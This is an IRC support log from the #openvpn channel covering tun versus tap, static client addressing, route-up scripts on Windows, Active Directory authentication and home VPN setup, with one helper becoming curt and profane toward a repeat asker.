15:56 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
16:18 -!- pfui [~hkotri@197.35.1.233] has quit [Ping timeout: 240 seconds]
16:30 -!- jhp [~jhp@zeus.jhprins.org] has joined #openvpn
16:31 < jhp> Hi everyone. Quick questiion. Can I create a configuration with openvpn where I put the user in a specific subnet based on it's authentication?
16:36 <+pekster> jhp: Sounds like what you really want is a dynamic firewall that prohibits communication you don't want the client to mmake
16:36 <+pekster> The short answer is "no" but the better solution is to do whatever dynamic policies you need by client name, or use static IP assignment (see !static) and write static firewall rules
16:38 < jhp> pekster: That might be an option but that doesn't prevent a user from changing it's IP and giving him access to a different network that way.
16:38 <+pekster> Yes it does
16:39 <+pekster> A client cannot "change" its IP (the openvpn server will drop it)
16:39 <+pekster> At least in tun; in tap you loose all such ability since you're transporting Etherent frames. That's a wonderful reason not to use tap unless you need it
16:40 < jhp> Until now I only have used TAP for my production network. There are several reasons why we want to move to TUN, one of them is performance.
16:40 < jhp> But this might be a good second reason then.
16:40 <+pekster> This is clearly anoter reason
16:41 <+pekster> Right; with tap it's just like a "dumb switch" you buy, and you are subject to all the usual L2 attacks (ARP cache posioning, MITM, address re-assignment, etc)
16:41 < jhp> So what you say is that a user that is connected using a TUN interface is not able to change it's IP?
16:42 <+pekster> Right. It "can" try to do so but the server will reject it unless there's a matching --iroute (that's designed to expose a LAN behind the client, but you need the --iroute for it or the server rejects it as a bogus IP)
16:42 <+pekster> You'll see a "packet dropped" message in the logs if a client attempts this with the IP of the bogus packet that was ignored
16:42 -!- pushpop [~pushpop@2001:19f0:1604:3ede:50fe:13e6:5924:bd57] has joined #openvpn
16:42 < jhp> Sounds good.
16:43 <+pekster> Regarding tun vs tap:
16:43 <+pekster> !tunortap
16:43 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
16:43 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
16:43 < pushpop> Hi all, I just installed openvpn.  I connect to my openvpn server fine but after I do the google authenticator I get stuck at Switching to new server.  The address bar has client.openvpn.net:946 which obviously is not my server.  Any ideas?
16:43 < jhp> In the past we needed TAP because of windows fileserver traffic etc.
16:43 <+pekster> You don't need tap for that
16:43 <+pekster> Learn to use DNS
16:44 < jhp> pekster: That is now. In the past you needed it.
16:44 < jhp> But is some time ago ofcourse.
16:44 < jhp> But we have this setup running for like 12 years now.
16:44 < jhp> And back then we needed it.
16:44 < jhp> We are just re-evaluating old decisions.
16:46 < pushpop> could anyone help me
16:46 <+pekster> Depends on your remote sites, but DNS can be as easy as dnsmasq even at small sights
16:46 <+pekster> sites*
16:47 < jhp> pekster: DNS does not really have any secrets for me.
16:47 <+pekster> Deligate a "suboffice.mycompany.com" to that server in your DNS infra and you can access \\box1.suboffice.mycompany.com\share-name as usual
16:47 <+pekster> Windows uses TCP for its actual service discovery via RPC and CIFS
16:48 < jhp> We don't use windows, but yes, you are right.
16:48 <+pekster> "becuase of windows fileserver traffic" sounds a like like Windows is involved
16:48 <+pekster> a lot*
16:48 < jhp> only our sales team uses windows. But he ... they don't do anything anyway.
16:48 < jhp> ;-)
16:49 < jhp> The rest of the users use NFS.
16:49 <+pekster> That'll also play fine with tap
16:49 <+pekster> tun, I mean
16:49 < jhp> Yes it does.
16:50 < jhp> Works with TAP as well, but TUN should work just as well.
16:50 <+pekster> Really the only reason for tap is L2 protocols like bonjour, OSPF/BGP, or maybe old-school legacy games that "require" IPX
16:50 <+pekster> That, or using OpenVPN where "you don't control the network" although that usually more of a hack than anything
16:52 < jhp> But anyway. Putting the user in a specific subnet doesn't work but the assigned addresses can be static and that way you can use your firewall to allow access to specific networks.
16:52 < jhp> Sounds good enough
16:53 <+pekster> pushpop: What's google-authenticator got to do with any of it? You are using the GPL OpenVPN, right? "Access Server" is _not_ OpeVPN and it is its own commercial product
16:57 < pushpop> ahh ok i figured it out.  But now when my clients connect they are not getting an IP address.
16:57 <+pekster> Check the /TOPIC. If you are in fact using the GPL OpenVPN, see the following:
16:57 <+pekster> !configs
16:57 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
16:57 <+pekster> !logs
16:57 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
16:59 < pushpop> here is server log when client connected. http://pastebin.com/L3M4DFk4
16:59 <+pekster> And that is not anything OpenVPN produces
16:59 <+pekster> !as
16:59 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
17:00 <+pekster> We _only_ deal with the GPL OpenVPN product here. "Access Server" is _NOT_ OpenVPN, as I stated earlier
17:00 <+pekster> AS is a commercial product with non-free, non-open code that is not free to use and you must abide by its EULA and licensing terms and obtain support from the reseller of that product.
17:00 < pushpop> sorry
17:08 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
17:10 -!- toothe [~mongolian@unaffiliated/toothe] has joined #openvpn
17:10 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
17:13 -!- pushpop [~pushpop@2001:19f0:1604:3ede:50fe:13e6:5924:bd57] has left #openvpn []
17:14 -!- abyss [~abyss@i-free.pl] has quit [Read error: Operation timed out]
17:14 -!- abyss [~abyss@i-free.pl] has joined #openvpn
17:23 -!- pushpop [~pushpop@2001:19f0:1604:3ede:50fe:13e6:5924:bd57] has joined #openvpn
17:26 < toothe> having trouble getting openvpn running on a Windows box...
17:26 < toothe> as a server that is. Prob something wrong with my configuration
17:27 < toothe> http://pastebin.com/87jTGTHi
17:27 < toothe> I can paste my server.ovpn file as well, if need be.
17:33 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:34 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
17:34 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:37 < toothe> gah, why can't I get this damn server up and running.
17:38 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
17:39 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:47  * toothe starts all over again.
17:48 < toothe> Having trouble getting the server up and running on a Windows box.
17:48 < atmosx> try installing linux for starters
17:49 < toothe> i did, worked great.
17:49 < toothe> this is my first Windows install.
17:49 < atmosx> why would you wanna install a server on windows?
17:49 < toothe> because this person wants it on a Windows box.
17:50 < toothe> its of course easier on windws,, I think i have a problem with the dev op[tion
17:50 < atmosx> anyway
17:50 < atmosx> should be the same
17:50 < atmosx> the same config
17:50 < atmosx> should run
17:50 < toothe> i thought so too...
17:53 < toothe> there it goes, got that bitch working
17:54 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:54 -!- mode/#openvpn [+v s7r] by ChanServ
18:24 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
18:25 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
18:30 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
19:09 -!- speed_racer84 [~speed_rac@172.56.6.4] has joined #openvpn
19:09 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 272 seconds]
19:16 < toothe> is openvpn encrypted by default?
19:19 <+pekster> Read --cipher to figure that out
19:25 < toothe> awesome, got everything working
19:25 < toothe> (except one thing)
19:32 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
19:33 < toothe> hm..having trouble getting 'up' working.
19:37 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
19:42 < toothe> hm...
19:42 < toothe> "up" and route-up aren't doing anything.
19:43 < toothe> the bat script I am using should execute notepad.exe, but that isn't happening.
19:45 -!- speed_racer84 [~speed_rac@172.56.6.4] has quit [Read error: Connection reset by peer]
19:45 -!- speed_racer84 [~speed_rac@172.56.6.4] has joined #openvpn
19:46 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
19:49 <+pekster> toothe: What version?
19:55 -!- master_o1_master [~master_of@p4FF246B0.dip0.t-ipconnect.de] has joined #openvpn
19:59 < toothe> its WIndow's OpenVPN 2.3.2
19:59 < toothe> let me know if you need more information
19:59 -!- master_of_master [~master_of@p4FF24533.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
20:02 <+pekster> <2.3.2 had a problem running batch scripts that a patch fixed in 2.3.2
20:03 <+pekster> Try something simplier than notepad which won't do what you expect. do something like `echo testing >> c:\ovpn-debug.txt` instead
20:03 <+pekster> It's a CLI application and won't launch GUI components as you're expecting
20:03 < toothe> actually, i did startup.bat
20:03 < toothe> and in startup.bat was "notepad"
20:03 <+pekster> Right, I jusst told you not to do that
20:03 < toothe> oh? i misread you.
20:04 < toothe> and can Ido "pause" to test it out?
20:04 <+pekster> Probably not
20:04 <+pekster> How about you do what I just suggested?
20:05 <+pekster> Or a very easy way to demonstrate it works is by doing `exit 1` and watching openvpn invocation fail when your script returns with non-zero
20:05 <+pekster> Plenty of ways
20:08 < toothe> okay sounds good
20:08 < toothe> thanks a lot :-)
20:13 < toothe> wait, aren't I running the latest?
20:13 < toothe> shouldn't the bug not affect me?
20:13 <+pekster> Right, which is why I inquired
20:14 <+pekster> https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn23
20:14 < toothe> oh....so why does it apply to me?
20:14 <@vpnHelper> Title: ChangesInOpenvpn23 – OpenVPN Community (at community.openvpn.net)
20:14 <+pekster> It doesn't, which is why I'm sugesting you "Try It And See"
20:26 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has quit [Quit: elfixit]
20:42 -!- speed_racer84 [~speed_rac@172.56.6.4] has quit [Ping timeout: 265 seconds]
20:43 < toothe> yah I don't think its running...
20:45 <+pekster> Post your openvpn config (comments/whitespace removed if you can: grep syntax to do that at !configs), the contents of the batch script you have and logs at --verb 4
20:45 < toothe> sure :-)
20:46 < toothe> btw, i love this tool.
20:46 < toothe> openvpn
20:50 < toothe> http://pastebin.com/zzDrHNj6
20:51 < toothe> the client is on the top, then the server.
20:51 < toothe> sorry, i screwed that up.
20:52 < toothe> http://pastebin.com/KdqBrszP
20:55 -!- Eduard_Munteanu [~EduardMun@188.25.6.108] has quit [Ping timeout: 252 seconds]
20:56 < toothe> let me knwo how that looks.
20:56 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
20:58 <+pekster> It looks like you failed to read what I asked for, so I'm left waiting for you to figure that out
21:05 < toothe> okay.
21:05 < toothe> oh, you meant that the script itself should be echo Hi > test.tmp
21:09 < toothe> yah, it doesn't like it when I do that.
21:09 < toothe> route-up "echo Hi >> c:\temp\test.txt"
21:10 < toothe> looks like openvpn does not run at all.
21:10 < toothe> so yes, this looks like a bug in OpenVPN -- the route-up does not work...hm...
21:11 < toothe> anyone else experience this problem?
21:12 <+pekster> No clue if you can't read or don't want to provide what I asked that might help identify/fix your pboelm
21:12 <+pekster> Quite frankly I don't care; this seems to be your M.O. so don't let me stop you
21:12 < toothe> no, i did what you told me to do
21:12 <+pekster> Then read harder
21:12 <+pekster> I asked for 3 things
21:12 <+pekster> You've thus far given me 2
21:13 < toothe> exit 1
21:14 <+pekster> There's no way in hell that is a complete log output at verb 4
21:14 <+pekster> 2013-10-12 20:45<+pekster> Post your openvpn config (comments/whitespace removed if you can: grep syntax to do that at !configs), the contents of the batch script you have and logs at --verb 4
21:14 < toothe> alright, did that too in the bat.
21:14 <+pekster> Read. Fucking. Harder.
21:14 < toothe> I DID that.
21:14 <+pekster> I have NO logs from you at verb 4
21:14 <+pekster> Are you dense, or just expect that this is free technical consulting which will ask you 5 times when you failed to read it the first 4 every time you come in here?
21:14 < toothe> http://pastebin.com/WD77gwrq
21:15 < toothe> the last bit says this:
21:15 < toothe> Sat Oct 12 22:13:48 2013 us=118102 WARNING: Failed running command (--route-up): returned error code 1
21:17 <+pekster> Yes, and this is quite relevant. Nex time try not to wait 25 minutes before you provide what I asked for that is helpful
21:17 <+pekster> You do this a lot in the time you've been here and my patience has run out with such games
21:17 < toothe> my apologies, i honestly missed that message.
21:18 < toothe> i will keep that in mind.
21:18 <+pekster> (and honestly missed the 3 reminders too, apparently)
21:18 < toothe> once I get this working i have another question...but now im afraid to ask :-(
21:19 <+pekster> So `exit 1` is getting processed normally, if that's your exit code. Changing it should change that message, although doing a simple echo shouldn't fail and should have created the relevant file
21:19 < toothe> right.
21:20 < toothe> so, currently I changed the configuration around: route-up pwrealty/vpnup.bat
21:20 < toothe> vpnup.bat is simply "exit 1"
21:20 <+pekster> And no, you can't do `route-up "echo ..."` .. that won't work
21:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
21:20 < toothe> I misunderstood you.
21:20 <+pekster> Then it will try to find a file called "echo Hi >> c:\temp\whatever" which is an invalid filename thanks to the colon and backslashes which are invalid NTFS characters
21:21 < toothe> ahh...
21:22 <+pekster> The manpage is pretty clear on this point in the second sentence of the description beginning with: "cmd consists of a path to script (or executable program)"
21:22 <+pekster> http://pastebin.kde.org/phxphvaxs/je8vyn
21:23 < toothe> any qualms if I put it in c:\temp ?
21:23 <+pekster> As long as it exists and the running user has permissions there it won't matter
21:24 < toothe> oh wow, it created that file.
21:24 < toothe> I think the issue was that the full path of the executable was not specified.
21:25 <+pekster> Wonderful. Works As Advertized™
21:25 < toothe> I noticed from the logs that the PATH variable was c:\windows\system32\ and c:\windows and a few others
21:25 < toothe> okay, that's good...
21:25 <+pekster> Relative paths are taken relative to your CWD
21:25 <+pekster> Reading in the manpage can include the --cd directive
21:26 < toothe> yes, that would save a configuration file from getting confusing...
21:26 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
21:26 < toothe> I have one more question -- and for this, I just need to know what to google.
21:26 < toothe> ie, not asking you to hld my hand the entire way.
21:26 < toothe> it would be nice to have OpenVPN use ActiveDirectory to authenticate users, rather than certificates.
21:27 < toothe> how would I go about doing that?
21:32 <+pekster> Pretty easy with a Linux or Unix box using eithier openvpn's PAM module and PAM's LDAP support, or a simple shell script that's a proxy around radius-client and use RADIUS from your AD side
21:33 <+pekster> It's a bit less trivial under Windows; maybe write some executable in your preferred development language that interface with the Windows APIs (not something you'll get help with here beyond a reference to --auth-user-pass-verify as the interface) or maybe read about runas.exe and parse the exit code of that
21:33 < toothe> ahh...
21:33 <+pekster> You can do "anything you want" in an --auth-user-pass-verify script. It's up to you to write it, of course
21:34 < toothe> that wouldn't be too hard to do, i know a few languages.
21:34 <+pekster> A lanaguage does nothing for you without a usable API
21:35 < toothe> AD is basically LDAP, so i'd just have to learn the ldap API
21:35 < toothe> thank you, you've been most helpful :-)
21:54 < hjohnson> toothe: I tried that, and wound up just using radius instead
21:54 < hjohnson> (via NPS) mostly because ithat was easier to setup, and I already ahve RADIUS going due to my wifi and network installation
21:55 < toothe> ahh
21:55 < toothe> i've actually never setup a RADIUS server before
21:55 < toothe> I'm not even too familiar with what it is..i've done some basic reading, but not much more.
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:17 -!- BarthezZ [~bart@monitoring.deheij-ict.nl] has quit [Ping timeout: 264 seconds]
22:24 -!- tjj [~tjj@rtr.WellsStreetTower.onshore.net] has joined #openvpn
22:25 < tjj> !welcome
22:25 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
22:25 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
22:25 < tjj> !goal
22:25 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
22:25 < tjj> !howto
22:25 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
22:27 < tjj> So I have a home network with private IPs, and a laptop that I use while traveling. I'd like to set up a VPN so my laptop can act like it's on my home network. I assume I'll have to setup openvpn on an 3rd-party server and have home and the laptop connect to it somehow?
22:31 < Kobaz> easy way: set up openvpn directly on your home machine (probably need a port forward on your router), connect from the outside, and set the vpn type to 'tap'
22:31 < Kobaz> if you dont have a static ip, you can use a free dynamic dns service
22:32 < Kobaz> and make sure your home network isn't something like 192.168.1.x, because that's going to conflict with just about everyone else
22:32 < tjj> Kobaz: I can't access my home computer remotely. My building provides the internet access, and everything is behind the building's NAT
22:33 < tjj> Kobaz: Only way to access my home computer remotely is to set up a reverse ssh tunnel or something like that
22:33 < Kobaz> okay
22:33 < Kobaz> do you have a hosted server somewhere?
22:34 < tjj> Kobaz: Yeah, I can set one up at AWS or GCE
22:34 < Kobaz> you can habe home connect to the server, and then the laptop connect to the server
22:34 < tjj> So I set up openvpn on Amazon or whatever, and then have home & laptop connect to there?
22:37 < Kobaz> yeap
22:37 < tjj> Kobaz: Thanks, I'll do some googling
22:37 < Kobaz> you could still use tap to bridge everything
22:37 < Kobaz> tun will make a routed connection
22:38 < Kobaz> so stuff like network neighborhood in windows will be troublesome
22:38 < tjj> Everything (home & laptop) is linux
22:38 < Kobaz> k
22:38 < Kobaz> you should use tun then
22:39 < Kobaz> makes it nice when you want to add more clients
22:39 < Kobaz> it'll have its own address assignments
22:39 < Kobaz> really just depends what you want to do
22:39 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
22:49 < tjj> Actually after some googling I might try Hamachi
22:51 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has left #openvpn []
23:08 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
23:14 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
23:36 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Ping timeout: 240 seconds]
23:37 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
23:52 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:53 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
23:55 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has quit [Ping timeout: 240 seconds]
23:55 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:56 < mapps> damn
23:56 < mapps> i cant connect to anything at all anymore ;( whereas before it used to work fine..BUT eventually it would stop and says pause (network unavaliable) which i think was related to when it locked
23:57 < mapps> now i  cant connect to anything..and i havebt changed the openvpn server conf or the client..servers up and the client is showing as connected
23:58 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
--- Day changed Sun Oct 13 2013
00:56 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:02 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
01:12 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:59 -!- speed_racer84 [~speed_rac@172.56.7.178] has joined #openvpn
02:09 -!- crus [~crusader@2001:0:5ef5:79fb:2cd4:2057:c458:154d] has joined #openvpn
02:11 -!- crus` [~crusader@2001:44b8:319e:2900:ed6f:bbe4:928b:adf4] has joined #openvpn
02:14 -!- crus [~crusader@2001:0:5ef5:79fb:2cd4:2057:c458:154d] has quit [Ping timeout: 245 seconds]
02:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
02:49 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
02:51 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
02:51 -!- mode/#openvpn [+v s7r] by ChanServ
03:04 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:05 -!- crus` [~crusader@2001:44b8:319e:2900:ed6f:bbe4:928b:adf4] has quit [Read error: Connection reset by peer]
03:09 -!- crus [~crusader@2001:44b8:319e:2900:9d36:93b7:801a:b734] has joined #openvpn
03:58 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Leaving]
03:59 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:13 -!- gac [~gavin@196.108.255.149.in-addr.arpa] has quit [Remote host closed the connection]
04:29 -!- benedikt [~benedikt@unaffiliated/benedikt] has quit [Ping timeout: 245 seconds]
04:33 -!- master_of_master [~master_of@p4FF24214.dip0.t-ipconnect.de] has joined #openvpn
04:34 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has joined #openvpn
04:36 -!- master_o1_master [~master_of@p4FF246B0.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
04:36 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has quit [Client Quit]
04:40 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has joined #openvpn
04:46 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
04:47 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
04:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
04:55 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
05:02 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:53 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
05:54 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
05:54 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
05:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:57 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
05:57 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
06:01 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
06:23 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
06:23 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:26 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Operation timed out]
06:34 -!- LordThumper [~LordThump@78.133.21.200] has joined #openvpn
06:52 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has joined #openvpn
07:15 -!- Otacon22 [~otacon22@93-36-89-25.ip59.fastwebnet.it] has joined #openvpn
07:18 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:23 -!- Fiouz_ [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has quit [Ping timeout: 246 seconds]
07:23 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
07:24 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 265 seconds]
07:25 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
07:42 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
07:42 -!- JackWinter [~jack@vodsl-4997.vo.lu] has quit [Ping timeout: 246 seconds]
07:46 < mapps> hi folks
07:54 -!- LordThumper [~LordThump@78.133.21.200] has quit [Ping timeout: 272 seconds]
08:18 < mapps> anyone around? i cant connect to anything at all anymore ;( whereas before it used to work fine..BUT eventually it would stop and says pause (network unavaliable) which i think was related to when it locked
08:21 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
08:24 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
08:25 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:33 < kisom> mapps: My car is broken. It used to work fine. But after I parked it the last time it does not work any more. Any clues?
08:34 < mapps> no sir
08:34 < mapps> i just wondered if anyone had any ideas of what could have happened:D
08:34 < mapps> definitely didnt change any configs
08:34 < kisom> mapps: Check your logs on both the client and the server.
08:35 < mapps> ah well there we go :)
08:35 < mapps> should've done that ages back
08:35 < mapps> thanks mate
08:35 -!- elfixit [~Icedove@77-58-248-29.dclient.hispeed.ch] has quit [Quit: elfixit]
08:42 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has quit [Quit: WeeChat 0.4.2-rc2]
08:44 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has joined #openvpn
09:04 -!- JackWinter [~jack@vodsl-4997.vo.lu] has joined #openvpn
09:05 -!- luckied_ [~luckied@unaffiliated/luckied] has joined #openvpn
09:07 < luckied_> can anyone point me in the right direction to get a S2S VPN setup? I got BGP working and routes are propogating but I can't ping the remote subnet..I'm thinking NAT is likely the issue
09:10 -!- mattock_afk is now known as mattock
09:17 < luckied_> nevermind, i fixed it ;)
09:18 -!- luckied_ [~luckied@unaffiliated/luckied] has left #openvpn ["Leaving"]
09:22 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
09:23 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
09:30 < mapps> nice
09:31 < mapps> damnit i thought i'd fixed it kisom  :D
09:31 < mapps> i had somehow pushed the DNS as 10.8.01 LOL
09:31 < mapps> but now it's still not working damnit
10:02 -!- szr [~s_r@unaffiliated/szr] has joined #openvpn
10:04 -!- alanjf [~ajf@unaffiliated/alanjf] has joined #openvpn
10:07 < alanjf> Good day. I have been wondering, when setting up an OpenVPN server (Linux in my case), would it be ok to use the machine's existing ca and general purpose server crt and key files (openssl generated pem files) instead of generating them with the easy-rsa scripts?
10:08 < alanjf> And generating client key and cert files from those?
10:09 < alanjf> I've googled on the matter but have come up empty. I would like to know if this would not be a good idea and why.
10:10 < alanjf> My reasoning is that I want to use the same keys on each host for multiple purposes, insteading of having a separate set of ca and server or client ssl files (key, crt, etc)
10:11 < alanjf> for each service, like openvpn.
10:11 < mapps> not sure..but what would be the benefit
10:11 < mapps> would it be secure?
10:12 < alanjf> That is, the server host has it's ca and server key/crt files in /etc/ssl, and each client has it's own crt and key files in /etc/ssl
10:13 < alanjf> mapps: I just want to eliminate unnecessary duplication of things, like generating a new ca key and crl files when my server already has global ones (in /etc/ssl)
10:13 < mapps> ah ok
10:16 < alanjf> In other words, I want to use the same PKIs for multiple services, so it's the same certs, and if one client needs to be revoked, then all applicable services are affected instead of having to do it for each ssl-using service.
10:23 -!- Denial [Denial@90.216.209.93] has joined #openvpn
10:29 -!- Denial [Denial@90.216.209.93] has quit []
10:32 -!- sobersabre [~Sober@109.66.196.252] has joined #openvpn
10:32 < sobersabre> hi.
10:33 < sobersabre> I'm trying to "share" logs of a vpn server (openvpnas appliance) via nfs to a specific machine.
10:33 < sobersabre> the client is centos6 based.
10:33 < mapps> wha are the problem
10:34 < sobersabre> I can run rpcinfo locally on the openvpn server, I can connect with nc to the port 111 (tcp or udp) to the server from the client machine, but I cannot mount.
10:34 -!- Shinobi [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has quit [Disconnected by services]
10:34 -!- Shinobi [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has joined #openvpn
10:35 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: No route to host]
10:41 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
10:43 < mapps> damn
10:43 < mapps> getting stuck it wont connect again
10:49 -!- akesterson [~akesterso@50-199-125-222-static.hfc.comcastbusiness.net] has joined #openvpn
10:57 -!- sobersabre_ [~Sober@109.66.196.252] has joined #openvpn
